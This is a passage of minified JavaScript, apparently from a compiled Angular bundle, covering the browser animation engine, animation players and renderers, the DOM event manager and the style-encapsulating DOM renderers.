Ft=!rt||rt==jn;Mt.forEach(Ut=>{Ut.queued||!Ft&&Ut.triggerName!=Le||yt.push(Ut)})}}return(Z||Le)&&(yt=yt.filter(Mt=>!(Z&&Z!=Mt.namespaceId||Le&&Le!=Mt.triggerName))),yt}_beforeAnimationBuild(y,D,Z){const rt=D.element,yt=D.isRemovalTransition?void 0:y,Mt=D.isRemovalTransition?void 0:D.triggerName;for(const Ft of D.timelines){const Ut=Ft.element,o1=Ut!==rt,l1=_e(Z,Ut,[]);this._getPreviousPlayers(Ut,o1,yt,Mt,D.toState).forEach(A1=>{const C1=A1.getRealPlayer();C1.beforeDestroy&&C1.beforeDestroy(),A1.destroy(),l1.push(A1)})}at(rt,D.fromStyles)}_buildAnimation(y,D,Z,Le,rt,yt){const Mt=D.triggerName,Ft=D.element,Ut=[],o1=new Set,l1=new Set,F1=D.timelines.map(C1=>{const S1=C1.element;o1.add(S1);const Q1=S1[mn];if(Q1&&Q1.removedBeforeQueried)return new s.ZN(C1.duration,C1.delay);const tn=S1!==Ft,Tn=function m2(Te){const y=[];return _n(Te,y),y}((Z.get(S1)||Bi).map(Un=>Un.getRealPlayer())).filter(Un=>!!Un.element&&Un.element===S1),En=rt.get(S1),wn=yt.get(S1),e2=P(0,this._normalizer,0,C1.keyframes,En,wn),ni=this._buildPlayer(C1,e2,Tn);if(C1.subTimeline&&Le&&l1.add(S1),tn){const Un=new Li(y,Mt,S1);Un.setRealPlayer(ni),Ut.push(Un)}return ni});Ut.forEach(C1=>{_e(this.playersByQueriedElement,C1.element,[]).push(C1),C1.onDone(()=>function ki(Te,y,D){let Z=Te.get(y);if(Z){if(Z.length){const Le=Z.indexOf(D);Z.splice(Le,1)}0==Z.length&&Te.delete(y)}return Z}(this.playersByQueriedElement,C1.element,C1))}),o1.forEach(C1=>un(C1,be));const A1=pe(F1);return A1.onDestroy(()=>{o1.forEach(C1=>en(C1,be)),Ee(Ft,D.toStyles)}),l1.forEach(C1=>{_e(Le,C1,[]).push(A1)}),A1}_buildPlayer(y,D,Z){return D.length>0?this.driver.animate(y.element,D,y.duration,y.delay,y.easing,Z):new s.ZN(y.duration,y.delay)}}class Li{constructor(y,D,Z){this.namespaceId=y,this.triggerName=D,this.element=Z,this._player=new s.ZN,this._containsRealPlayer=!1,this._queuedCallbacks=new Map,this.destroyed=!1,this.parentPlayer=null,this.markedForDestroy=!1,this.disabled=!1,this.queued=!0,this.totalTime=0}setRealPlayer(y){this._containsRealPlayer||(this._player=y,this._queuedCallbacks.forEach((D,Z)=>{D.forEach(Le=>w(y,Z,void 0,Le))}),this._queuedCallbacks.clear(),this._containsRealPlayer=!0,this.overrideTotalTime(y.totalTime),this.queued=!1)}getRealPlayer(){return this._player}overrideTotalTime(y){this.totalTime=y}syncPlayerEvents(y){const D=this._player;D.triggerCallback&&y.onStart(()=>D.triggerCallback("start")),y.onDone(()=>this.finish()),y.onDestroy(()=>this.destroy())}_queueEvent(y,D){_e(this._queuedCallbacks,y,[]).push(D)}onDone(y){this.queued&&this._queueEvent("done",y),this._player.onDone(y)}onStart(y){this.queued&&this._queueEvent("start",y),this._player.onStart(y)}onDestroy(y){this.queued&&this._queueEvent("destroy",y),this._player.onDestroy(y)}init(){this._player.init()}hasStarted(){return!this.queued&&this._player.hasStarted()}play(){!this.queued&&this._player.play()}pause(){!this.queued&&this._player.pause()}restart(){!this.queued&&this._player.restart()}finish(){this._player.finish()}destroy(){this.destroyed=!0,this._player.destroy()}reset(){!this.queued&&this._player.reset()}setPosition(y){this.queued||this._player.setPosition(y)}getPosition(){return this.queued?0:this._player.getPosition()}triggerCallback(y){const D=this._player;D.triggerCallback&&D.triggerCallback(y)}}function ti(Te){return Te&&1===Te.nodeType}function Xi(Te,y){const D=Te.style.display;return Te.style.display=y??"none",D}function bn(Te,y,D,Z,Le){const rt=[];D.forEach(Ft=>rt.push(Xi(Ft)));const yt=[];Z.forEach((Ft,Ut)=>{const o1=new Map;Ft.forEach(l1=>{const F1=y.computeStyle(Ut,l1,Le);o1.set(l1,F1),(!F1||0==F1.length)&&(Ut[mn]=bi,yt.push(Ut))}),Te.set(Ut,o1)});let Mt=0;return D.forEach(Ft=>Xi(Ft,rt[Mt++])),yt}function Gi(Te,y){const D=new Map;if(Te.forEach(Mt=>D.set(Mt,[])),0==y.length)return D;const Z=1,Le=new Set(y),rt=new Map;function yt(Mt){if(!Mt)return Z;let Ft=rt.get(Mt);if(Ft)return Ft;const Ut=Mt.parentNode;return Ft=D.has(Ut)?Ut:Le.has(Ut)?Z:yt(Ut),rt.set(Mt,Ft),Ft}return y.forEach(Mt=>{const Ft=yt(Mt);Ft!==Z&&D.get(Ft).push(Mt)}),D}function un(Te,y){Te.classList?.add(y)}function en(Te,y){Te.classList?.remove(y)}function Mi(Te,y,D){pe(D).onDone(()=>Te.processLeaveNode(y))}function _n(Te,y){for(let D=0;D<Te.length;D++){const Z=Te[D];Z instanceof s.ZE?_n(Z.players,y):y.push(Z)}}function pi(Te,y,D){const Z=D.get(Te);if(!Z)return!1;let Le=y.get(Te);return Le?Z.forEach(rt=>Le.add(rt)):y.set(Te,Z),D.delete(Te),!0}class si{constructor(y,D,Z){this.bodyNode=y,this._driver=D,this._normalizer=Z,this._triggerCache={},this.onRemovalComplete=(Le,rt)=>{},this._transitionEngine=new o2(y,D,Z),this._timelineEngine=new Zn(y,D,Z),this._transitionEngine.onRemovalComplete=(Le,rt)=>this.onRemovalComplete(Le,rt)}registerTrigger(y,D,Z,Le,rt){const yt=y+"-"+Le;let Mt=this._triggerCache[yt];if(!Mt){const Ft=[],Ut=[],o1=T1(this._driver,rt,Ft,Ut);if(Ft.length)throw function Ze(Te,y){return new n.vHH(3404,!1)}();Mt=function Ti(Te,y,D){return new qi(Te,y,D)}(Le,o1,this._normalizer),this._triggerCache[yt]=Mt}this._transitionEngine.registerTrigger(D,Le,Mt)}register(y,D){this._transitionEngine.register(y,D)}destroy(y,D){this._transitionEngine.destroy(y,D)}onInsert(y,D,Z,Le){this._transitionEngine.insertNode(y,D,Z,Le)}onRemove(y,D,Z,Le){this._transitionEngine.removeNode(y,D,Le||!1,Z)}disableAnimations(y,D){this._transitionEngine.markElementAsDisabled(y,D)}process(y,D,Z,Le){if("@"==Z.charAt(0)){const[rt,yt]=ct(Z);this._timelineEngine.command(rt,D,yt,Le)}else this._transitionEngine.trigger(y,D,Z,Le)}listen(y,D,Z,Le,rt){if("@"==Z.charAt(0)){const[yt,Mt]=ct(Z);return this._timelineEngine.listen(yt,D,Mt,rt)}return this._transitionEngine.listen(y,D,Z,Le,rt)}flush(y=-1){this._transitionEngine.flush(y)}get players(){return this._transitionEngine.players.concat(this._timelineEngine.players)}whenRenderingDone(){return this._transitionEngine.whenRenderingDone()}}let v2=(()=>{class Te{constructor(D,Z,Le){this._element=D,this._startStyles=Z,this._endStyles=Le,this._state=0;let rt=Te.initialStylesByElement.get(D);rt||Te.initialStylesByElement.set(D,rt=new Map),this._initialStyles=rt}start(){this._state<1&&(this._startStyles&&Ee(this._element,this._startStyles,this._initialStyles),this._state=1)}finish(){this.start(),this._state<2&&(Ee(this._element,this._initialStyles),this._endStyles&&(Ee(this._element,this._endStyles),this._endStyles=null),this._state=1)}destroy(){this.finish(),this._state<3&&(Te.initialStylesByElement.delete(this._element),this._startStyles&&(at(this._element,this._startStyles),this._endStyles=null),this._endStyles&&(at(this._element,this._endStyles),this._endStyles=null),Ee(this._element,this._initialStyles),this._state=3)}}return Te.initialStylesByElement=new WeakMap,Te})();function xn(Te){let y=null;return Te.forEach((D,Z)=>{(function D2(Te){return"display"===Te||"position"===Te})(Z)&&(y=y||new Map,y.set(Z,D))}),y}class Qn{constructor(y,D,Z,Le){this.element=y,this.keyframes=D,this.options=Z,this._specialStyles=Le,this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._initialized=!1,this._finished=!1,this._started=!1,this._destroyed=!1,this._originalOnDoneFns=[],this._originalOnStartFns=[],this.time=0,this.parentPlayer=null,this.currentSnapshot=new Map,this._duration=Z.duration,this._delay=Z.delay||0,this.time=this._duration+this._delay}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(y=>y()),this._onDoneFns=[])}init(){this._buildPlayer(),this._preparePlayerBeforeStart()}_buildPlayer(){if(this._initialized)return;this._initialized=!0;const y=this.keyframes;this.domPlayer=this._triggerWebAnimation(this.element,y,this.options),this._finalKeyframe=y.length?y[y.length-1]:new Map,this.domPlayer.addEventListener("finish",()=>this._onFinish())}_preparePlayerBeforeStart(){this._delay?this._resetDomPlayerState():this.domPlayer.pause()}_convertKeyframesToObject(y){const D=[];return y.forEach(Z=>{D.push(Object.fromEntries(Z))}),D}_triggerWebAnimation(y,D,Z){return y.animate(this._convertKeyframesToObject(D),Z)}onStart(y){this._originalOnStartFns.push(y),this._onStartFns.push(y)}onDone(y){this._originalOnDoneFns.push(y),this._onDoneFns.push(y)}onDestroy(y){this._onDestroyFns.push(y)}play(){this._buildPlayer(),this.hasStarted()||(this._onStartFns.forEach(y=>y()),this._onStartFns=[],this._started=!0,this._specialStyles&&this._specialStyles.start()),this.domPlayer.play()}pause(){this.init(),this.domPlayer.pause()}finish(){this.init(),this._specialStyles&&this._specialStyles.finish(),this._onFinish(),this.domPlayer.finish()}reset(){this._resetDomPlayerState(),this._destroyed=!1,this._finished=!1,this._started=!1,this._onStartFns=this._originalOnStartFns,this._onDoneFns=this._originalOnDoneFns}_resetDomPlayerState(){this.domPlayer&&this.domPlayer.cancel()}restart(){this.reset(),this.play()}hasStarted(){return this._started}destroy(){this._destroyed||(this._destroyed=!0,this._resetDomPlayerState(),this._onFinish(),this._specialStyles&&this._specialStyles.destroy(),this._onDestroyFns.forEach(y=>y()),this._onDestroyFns=[])}setPosition(y){void 0===this.domPlayer&&this.init(),this.domPlayer.currentTime=y*this.time}getPosition(){return this.domPlayer.currentTime/this.time}get totalTime(){return this._delay+this._duration}beforeDestroy(){const y=new Map;this.hasStarted()&&this._finalKeyframe.forEach((Z,Le)=>{"offset"!==Le&&y.set(Le,this._finished?Z:on(this.element,Le))}),this.currentSnapshot=y}triggerCallback(y){const D="start"===y?this._onStartFns:this._onDoneFns;D.forEach(Z=>Z()),D.length=0}}class w2{validateStyleProperty(y){return!0}validateAnimatableStyleProperty(y){return!0}matchesElement(y,D){return!1}containsElement(y,D){return Xe(y,D)}getParentElement(y){return Pt(y)}query(y,D,Z){return it(y,D,Z)}computeStyle(y,D,Z){return window.getComputedStyle(y)[D]}animate(y,D,Z,Le,rt,yt=[]){const Ft={duration:Z,delay:Le,fill:0==Le?"both":"forwards"};rt&&(Ft.easing=rt);const Ut=new Map,o1=yt.filter(A1=>A1 instanceof Qn);(function gn(Te,y){return 0===Te||0===y})(Z,Le)&&o1.forEach(A1=>{A1.currentSnapshot.forEach((C1,S1)=>Ut.set(S1,C1))});let l1=function Ct(Te){return Te.length?Te[0]instanceof Map?Te:Te.map(y=>mt(y)):[]}(D).map(A1=>pt(A1));l1=function nn(Te,y,D){if(D.size&&y.length){let Z=y[0],Le=[];if(D.forEach((rt,yt)=>{Z.has(yt)||Le.push(yt),Z.set(yt,rt)}),Le.length)for(let rt=1;rt<y.length;rt++){let yt=y[rt];Le.forEach(Mt=>yt.set(Mt,on(Te,Mt)))}}return y}(y,l1,Ut);const F1=function Vn(Te,y){let D=null,Z=null;return Array.isArray(y)&&y.length?(D=xn(y[0]),y.length>1&&(Z=xn(y[y.length-1]))):y instanceof Map&&(D=xn(y)),D||Z?new v2(Te,D,Z):null}(y,l1);return new Qn(y,l1,Ft,F1)}}var c2=d(6895);let ye=(()=>{class Te extends s._j{constructor(D,Z){super(),this._nextAnimationId=0,this._renderer=D.createRenderer(Z.body,{id:"0",encapsulation:n.ifc.None,styles:[],data:{animation:[]}})}build(D){const Z=this._nextAnimationId.toString();this._nextAnimationId++;const Le=Array.isArray(D)?(0,s.vP)(D):D;return L(this._renderer,null,Z,"register",[Le]),new st(Z,this._renderer)}}return Te.\\u0275fac=function(D){return new(D||Te)(n.LFG(n.FYo),n.LFG(c2.K0))},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})();class st extends s.LC{constructor(y,D){super(),this._id=y,this._renderer=D}create(y,D){return new I(this._id,y,D||{},this._renderer)}}class I{constructor(y,D,Z,Le){this.id=y,this.element=D,this._renderer=Le,this.parentPlayer=null,this._started=!1,this.totalTime=0,this._command("create",Z)}_listen(y,D){return this._renderer.listen(this.element,`@@${this.id}:${y}`,D)}_command(y,...D){return L(this._renderer,this.element,this.id,y,D)}onDone(y){this._listen("done",y)}onStart(y){this._listen("start",y)}onDestroy(y){this._listen("destroy",y)}init(){this._command("init")}hasStarted(){return this._started}play(){this._command("play"),this._started=!0}pause(){this._command("pause")}restart(){this._command("restart")}finish(){this._command("finish")}destroy(){this._command("destroy")}reset(){this._command("reset"),this._started=!1}setPosition(y){this._command("setPosition",y)}getPosition(){return this._renderer.engine.players[+this.id]?.getPosition()??0}}function L(Te,y,D,Z,Le){return Te.setProperty(y,`@@${D}:${Z}`,Le)}const T="@",ue="@.disabled";let gt=(()=>{class Te{constructor(D,Z,Le){this.delegate=D,this.engine=Z,this._zone=Le,this._currentId=0,this._microtaskId=1,this._animationCallbacksBuffer=[],this._rendererCache=new Map,this._cdRecurDepth=0,this.promise=Promise.resolve(0),Z.onRemovalComplete=(rt,yt)=>{const Mt=yt?.parentNode(rt);Mt&&yt.removeChild(Mt,rt)}}createRenderer(D,Z){const rt=this.delegate.createRenderer(D,Z);if(!(D&&Z&&Z.data&&Z.data.animation)){let o1=this._rendererCache.get(rt);return o1||(o1=new Ot("",rt,this.engine,()=>this._rendererCache.delete(rt)),this._rendererCache.set(rt,o1)),o1}const yt=Z.id,Mt=Z.id+"-"+this._currentId;this._currentId++,this.engine.register(Mt,D);const Ft=o1=>{Array.isArray(o1)?o1.forEach(Ft):this.engine.registerTrigger(yt,Mt,D,o1.name,o1)};return Z.data.animation.forEach(Ft),new Jt(this,Mt,rt,this.engine)}begin(){this._cdRecurDepth++,this.delegate.begin&&this.delegate.begin()}_scheduleCountTask(){this.promise.then(()=>{this._microtaskId++})}scheduleListenerCallback(D,Z,Le){D>=0&&D<this._microtaskId?this._zone.run(()=>Z(Le)):(0==this._animationCallbacksBuffer.length&&Promise.resolve(null).then(()=>{this._zone.run(()=>{this._animationCallbacksBuffer.forEach(rt=>{const[yt,Mt]=rt;yt(Mt)}),this._animationCallbacksBuffer=[]})}),this._animationCallbacksBuffer.push([Z,Le]))}end(){this._cdRecurDepth--,0==this._cdRecurDepth&&this._zone.runOutsideAngular(()=>{this._scheduleCountTask(),this.engine.flush(this._microtaskId)}),this.delegate.end&&this.delegate.end()}whenRenderingDone(){return this.engine.whenRenderingDone()}}return Te.\\u0275fac=function(D){return new(D||Te)(n.LFG(n.FYo),n.LFG(si),n.LFG(n.R0b))},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})();class Ot{constructor(y,D,Z,Le){this.namespaceId=y,this.delegate=D,this.engine=Z,this._onDestroy=Le,this.destroyNode=this.delegate.destroyNode?rt=>D.destroyNode(rt):null}get data(){return this.delegate.data}destroy(){this.engine.destroy(this.namespaceId,this.delegate),this.delegate.destroy(),this._onDestroy?.()}createElement(y,D){return this.delegate.createElement(y,D)}createComment(y){return this.delegate.createComment(y)}createText(y){return this.delegate.createText(y)}appendChild(y,D){this.delegate.appendChild(y,D),this.engine.onInsert(this.namespaceId,D,y,!1)}insertBefore(y,D,Z,Le=!0){this.delegate.insertBefore(y,D,Z),this.engine.onInsert(this.namespaceId,D,y,Le)}removeChild(y,D,Z){this.engine.onRemove(this.namespaceId,D,this.delegate,Z)}selectRootElement(y,D){return this.delegate.selectRootElement(y,D)}parentNode(y){return this.delegate.parentNode(y)}nextSibling(y){return this.delegate.nextSibling(y)}setAttribute(y,D,Z,Le){this.delegate.setAttribute(y,D,Z,Le)}removeAttribute(y,D,Z){this.delegate.removeAttribute(y,D,Z)}addClass(y,D){this.delegate.addClass(y,D)}removeClass(y,D){this.delegate.removeClass(y,D)}setStyle(y,D,Z,Le){this.delegate.setStyle(y,D,Z,Le)}removeStyle(y,D,Z){this.delegate.removeStyle(y,D,Z)}setProperty(y,D,Z){D.charAt(0)==T&&D==ue?this.disableAnimations(y,!!Z):this.delegate.setProperty(y,D,Z)}setValue(y,D){this.delegate.setValue(y,D)}listen(y,D,Z){return this.delegate.listen(y,D,Z)}disableAnimations(y,D){this.engine.disableAnimations(y,D)}}class Jt extends Ot{constructor(y,D,Z,Le,rt){super(D,Z,Le,rt),this.factory=y,this.namespaceId=D}setProperty(y,D,Z){D.charAt(0)==T?"."==D.charAt(1)&&D==ue?this.disableAnimations(y,Z=void 0===Z||!!Z):this.engine.process(this.namespaceId,y,D.slice(1),Z):this.delegate.setProperty(y,D,Z)}listen(y,D,Z){if(D.charAt(0)==T){const Le=function Tt(Te){switch(Te){case"body":return document.body;case"document":return document;case"window":return window;default:return Te}}(y);let rt=D.slice(1),yt="";return rt.charAt(0)!=T&&([rt,yt]=function t1(Te){const y=Te.indexOf(".");return[Te.substring(0,y),Te.slice(y+1)]}(rt)),this.engine.listen(this.namespaceId,Le,rt,yt,Mt=>{this.factory.scheduleListenerCallback(Mt._data||-1,Z,Mt)})}return this.delegate.listen(y,D,Z)}}const Bn=[{provide:s._j,useClass:ye},{provide:dn,useFactory:function an(){return new Hn}},{provide:si,useClass:(()=>{class Te extends si{constructor(D,Z,Le,rt){super(D.body,Z,Le)}ngOnDestroy(){this.flush()}}return Te.\\u0275fac=function(D){return new(D||Te)(n.LFG(c2.K0),n.LFG(Gt),n.LFG(dn),n.LFG(n.z2F))},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})()},{provide:n.FYo,useFactory:function W1(Te,y,D){return new gt(Te,y,D)},deps:[a.se,si,n.R0b]}],Dn=[{provide:Gt,useFactory:()=>new w2},{provide:n.QbO,useValue:"BrowserAnimations"},...Bn],sn=[{provide:Gt,useClass:Vt},{provide:n.QbO,useValue:"NoopAnimations"},...Bn];let Yn=(()=>{class Te{static withConfig(D){return{ngModule:Te,providers:D.disableAnimations?sn:Dn}}}return Te.\\u0275fac=function(D){return new(D||Te)},Te.\\u0275mod=n.oAB({type:Te}),Te.\\u0275inj=n.cJS({providers:Dn,imports:[a.b2]}),Te})()},1481:(At,ae,d)=>{"use strict";d.d(ae,{Cb:()=>Fe,Cu:()=>Re,Dx:()=>Xe,H7:()=>nt,b2:()=>x,ki:()=>be,q6:()=>Dt,se:()=>Qe});var n=d(6895),a=d(4650);class s extends n.w_{constructor(){super(...arguments),this.supportsDOMEvents=!0}}class u extends s{static makeCurrent(){(0,n.HT)(new u)}onAndCancel(ot,Ne,ut){return ot.addEventListener(Ne,ut,!1),()=>{ot.removeEventListener(Ne,ut,!1)}}dispatchEvent(ot,Ne){ot.dispatchEvent(Ne)}remove(ot){ot.parentNode&&ot.parentNode.removeChild(ot)}createElement(ot,Ne){return(Ne=Ne||this.getDefaultDocument()).createElement(ot)}createHtmlDocument(){return document.implementation.createHTMLDocument("fakeTitle")}getDefaultDocument(){return document}isElementNode(ot){return ot.nodeType===Node.ELEMENT_NODE}isShadowRoot(ot){return ot instanceof DocumentFragment}getGlobalEventTarget(ot,Ne){return"window"===Ne?window:"document"===Ne?ot:"body"===Ne?ot.body:null}getBaseHref(ot){const Ne=function f(){return c=c||document.querySelector("base"),c?c.getAttribute("href"):null}();return null==Ne?null:function _(Se){E=E||document.createElement("a"),E.setAttribute("href",Se);const ot=E.pathname;return"/"===ot.charAt(0)?ot:`/${ot}`}(Ne)}resetBaseElement(){c=null}getUserAgent(){return window.navigator.userAgent}getCookie(ot){return(0,n.Mx)(document.cookie,ot)}}let E,c=null;const S=new a.OlP("TRANSITION_ID"),C=[{provide:a.ip1,useFactory:function g(Se,ot,Ne){return()=>{Ne.get(a.CZH).donePromise.then(()=>{const ut=(0,n.q)(),Rt=ot.querySelectorAll(`style[ng-transition="${Se}"]`);for(let Zt=0;Zt<Rt.length;Zt++)ut.remove(Rt[Zt])})}},deps:[S,n.K0,a.zs3],multi:!0}];let H=(()=>{class Se{build(){return new XMLHttpRequest}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const j=new a.OlP("EventManagerPlugins");let U=(()=>{class Se{constructor(Ne,ut){this._zone=ut,this._eventNameToPlugin=new Map,Ne.forEach(Rt=>{Rt.manager=this}),this._plugins=Ne.slice().reverse()}addEventListener(Ne,ut,Rt){return this._findPluginFor(ut).addEventListener(Ne,ut,Rt)}addGlobalEventListener(Ne,ut,Rt){return this._findPluginFor(ut).addGlobalEventListener(Ne,ut,Rt)}getZone(){return this._zone}_findPluginFor(Ne){const ut=this._eventNameToPlugin.get(Ne);if(ut)return ut;const Rt=this._plugins;for(let Zt=0;Zt<Rt.length;Zt++){const a1=Rt[Zt];if(a1.supports(Ne))return this._eventNameToPlugin.set(Ne,a1),a1}throw new Error(`No event manager plugin found for event ${Ne}`)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(j),a.LFG(a.R0b))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();class G{constructor(ot){this._doc=ot}addGlobalEventListener(ot,Ne,ut){const Rt=(0,n.q)().getGlobalEventTarget(this._doc,ot);if(!Rt)throw new Error(`Unsupported event target ${Rt} for event ${Ne}`);return this.addEventListener(Rt,Ne,ut)}}let Q=(()=>{class Se{constructor(){this.usageCount=new Map}addStyles(Ne){for(const ut of Ne)1===this.changeUsageCount(ut,1)&&this.onStyleAdded(ut)}removeStyles(Ne){for(const ut of Ne)0===this.changeUsageCount(ut,-1)&&this.onStyleRemoved(ut)}onStyleRemoved(Ne){}onStyleAdded(Ne){}getAllStyles(){return this.usageCount.keys()}changeUsageCount(Ne,ut){const Rt=this.usageCount;let Zt=Rt.get(Ne)??0;return Zt+=ut,Zt>0?Rt.set(Ne,Zt):Rt.delete(Ne),Zt}ngOnDestroy(){for(const Ne of this.getAllStyles())this.onStyleRemoved(Ne);this.usageCount.clear()}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})(),oe=(()=>{class Se extends Q{constructor(Ne){super(),this.doc=Ne,this.styleRef=new Map,this.hostNodes=new Set,this.resetHostNodes()}onStyleAdded(Ne){for(const ut of this.hostNodes)this.addStyleToHost(ut,Ne)}onStyleRemoved(Ne){const ut=this.styleRef;ut.get(Ne)?.forEach(Zt=>Zt.remove()),ut.delete(Ne)}ngOnDestroy(){super.ngOnDestroy(),this.styleRef.clear(),this.resetHostNodes()}addHost(Ne){this.hostNodes.add(Ne);for(const ut of this.getAllStyles())this.addStyleToHost(Ne,ut)}removeHost(Ne){this.hostNodes.delete(Ne)}addStyleToHost(Ne,ut){const Rt=this.doc.createElement("style");Rt.textContent=ut,Ne.appendChild(Rt);const Zt=this.styleRef.get(ut);Zt?Zt.push(Rt):this.styleRef.set(ut,[Rt])}resetHostNodes(){const Ne=this.hostNodes;Ne.clear(),Ne.add(this.doc.head)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const Ce={svg:"http://www.w3.org/2000/svg",xhtml:"http://www.w3.org/1999/xhtml",xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/",math:"http://www.w3.org/1998/MathML/"},k=/%COMP%/g,ce=new a.OlP("RemoveStylesOnCompDestory",{providedIn:"root",factory:()=>!1});function le(Se,ot){return ot.flat(100).map(Ne=>Ne.replace(k,Se))}function Oe(Se){return ot=>{if("__ngUnwrap__"===ot)return Se;!1===Se(ot)&&(ot.preventDefault(),ot.returnValue=!1)}}let Qe=(()=>{class Se{constructor(Ne,ut,Rt,Zt){this.eventManager=Ne,this.sharedStylesHost=ut,this.appId=Rt,this.removeStylesOnCompDestory=Zt,this.rendererByCompId=new Map,this.defaultRenderer=new Ye(Ne)}createRenderer(Ne,ut){if(!Ne||!ut)return this.defaultRenderer;const Rt=this.getOrCreateRenderer(Ne,ut);return Rt instanceof De?Rt.applyToHost(Ne):Rt instanceof ze&&Rt.applyStyles(),Rt}getOrCreateRenderer(Ne,ut){const Rt=this.rendererByCompId;let Zt=Rt.get(ut.id);if(!Zt){const a1=this.eventManager,_1=this.sharedStylesHost,G1=this.removeStylesOnCompDestory;switch(ut.encapsulation){case a.ifc.Emulated:Zt=new De(a1,_1,ut,this.appId,G1);break;case a.ifc.ShadowDom:return new bt(a1,_1,Ne,ut);default:Zt=new ze(a1,_1,ut,G1)}Zt.onDestroy=()=>Rt.delete(ut.id),Rt.set(ut.id,Zt)}return Zt}ngOnDestroy(){this.rendererByCompId.clear()}begin(){}end(){}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(U),a.LFG(oe),a.LFG(a.AFp),a.LFG(ce))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();class Ye{constructor(ot){this.eventManager=ot,this.data=Object.create(null),this.destroyNode=null}destroy(){}createElement(ot,Ne){return Ne?document.createElementNS(Ce[Ne]||Ne,ot):document.createElement(ot)}createComment(ot){return document.createComment(ot)}createText(ot){return document.createTextNode(ot)}appendChild(ot,Ne){(dt(ot)?ot.content:ot).appendChild(Ne)}insertBefore(ot,Ne,ut){ot&&(dt(ot)?ot.content:ot).insertBefore(Ne,ut)}removeChild(ot,Ne){ot&&ot.removeChild(Ne)}selectRootElement(ot,Ne){let ut="string"==typeof ot?document.querySelector(ot):ot;if(!ut)throw new Error(`The selector "${ot}" did not match any elements`);return Ne||(ut.textContent=""),ut}parentNode(ot){return ot.parentNode}nextSibling(ot){return ot.nextSibling}setAttribute(ot,Ne,ut,Rt){if(Rt){Ne=Rt+":"+Ne;const Zt=Ce[Rt];Zt?ot.setAttributeNS(Zt,Ne,ut):ot.setAttribute(Ne,ut)}else ot.setAttribute(Ne,ut)}removeAttribute(ot,Ne,ut){if(ut){const Rt=Ce[ut];Rt?ot.removeAttributeNS(Rt,Ne):ot.removeAttribute(`${ut}:${Ne}`)}else ot.removeAttribute(Ne)}addClass(ot,Ne){ot.classList.add(Ne)}removeClass(ot,Ne){ot.classList.remove(Ne)}setStyle(ot,Ne,ut,Rt){Rt&(a.JOm.DashCase|a.JOm.Important)?ot.style.setProperty(Ne,ut,Rt&a.JOm.Important?"important":""):ot.style[Ne]=ut}removeStyle(ot,Ne,ut){ut&a.JOm.DashCase?ot.style.removeProperty(Ne):ot.style[Ne]=""}setProperty(ot,Ne,ut){ot[Ne]=ut}setValue(ot,Ne){ot.nodeValue=Ne}listen(ot,Ne,ut){return"string"==typeof ot?this.eventManager.addGlobalEventListener(ot,Ne,Oe(ut)):this.eventManager.addEventListener(ot,Ne,Oe(ut))}}function dt(Se){return"TEMPLATE"===Se.tagName&&void 0!==Se.content}class bt extends Ye{constructor(ot,Ne,ut,Rt){super(ot),this.sharedStylesHost=Ne,this.hostEl=ut,this.shadowRoot=ut.attachShadow({mode:"open"}),this.sharedStylesHost.addHost(this.shadowRoot);const Zt=le(Rt.id,Rt.styles);for(const a1 of Zt){const _1=document.createElement("style");_1.textContent=a1,this.shadowRoot.appendChild(_1)}}nodeOrShadowRoot(ot){return ot===this.hostEl?this.shadowRoot:ot}appendChild(ot,Ne){return super.appendChild(this.nodeOrShadowRoot(ot),Ne)}insertBefore(ot,Ne,ut){return super.insertBefore(this.nodeOrShadowRoot(ot),Ne,ut)}removeChild(ot,Ne){return super.removeChild(this.nodeOrShadowRoot(ot),Ne)}parentNode(ot){return this.nodeOrShadowRoot(super.parentNode(this.nodeOrShadowRoot(ot)))}destroy(){this.sharedStylesHost.removeHost(this.shadowRoot)}}class ze extends Ye{constructor(ot,Ne,ut,Rt,Zt=ut.id){super(ot),this.sharedStylesHost=Ne,this.removeStylesOnCompDestory=Rt,this.rendererUsageCount=0,this.styles=le(Zt,ut.styles)}applyStyles(){this.sharedStylesHost.addStyles(this.styles),this.rendererUsageCount++}destroy(){this.removeStylesOnCompDestory&&(this.sharedStylesHost.removeStyles(this.styles),this.rendererUsageCount--,0===this.rendererUsageCount&&this.onDestroy?.())}}class De extends ze{constructor(ot,Ne,ut,Rt,Zt){const a1=Rt+"-"+ut.id;super(ot,Ne,ut,Zt,a1),this.contentAttr=function je(Se){return"_ngcontent-%COMP%".replace(k,Se)}(a1),this.hostAttr=function Ze(Se){return"_nghost-%COMP%".replace(k,Se)}(a1)}applyToHost(ot){this.applyStyles(),this.setAttribute(ot,this.hostAttr,"")}createElement(ot,Ne){const ut=super.createElement(ot,Ne);return super.setAttribute(ut,this.contentAttr,""),ut}}let re=(()=>{class Se extends G{constructor(Ne){super(Ne)}supports(Ne){return!0}addEventListener(Ne,ut,Rt){return Ne.addEventListener(ut,Rt,!1),()=>this.removeEventListener(Ne,ut,Rt)}removeEventListener(Ne,ut,Rt){return Ne.removeEventListener(ut,Rt)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const 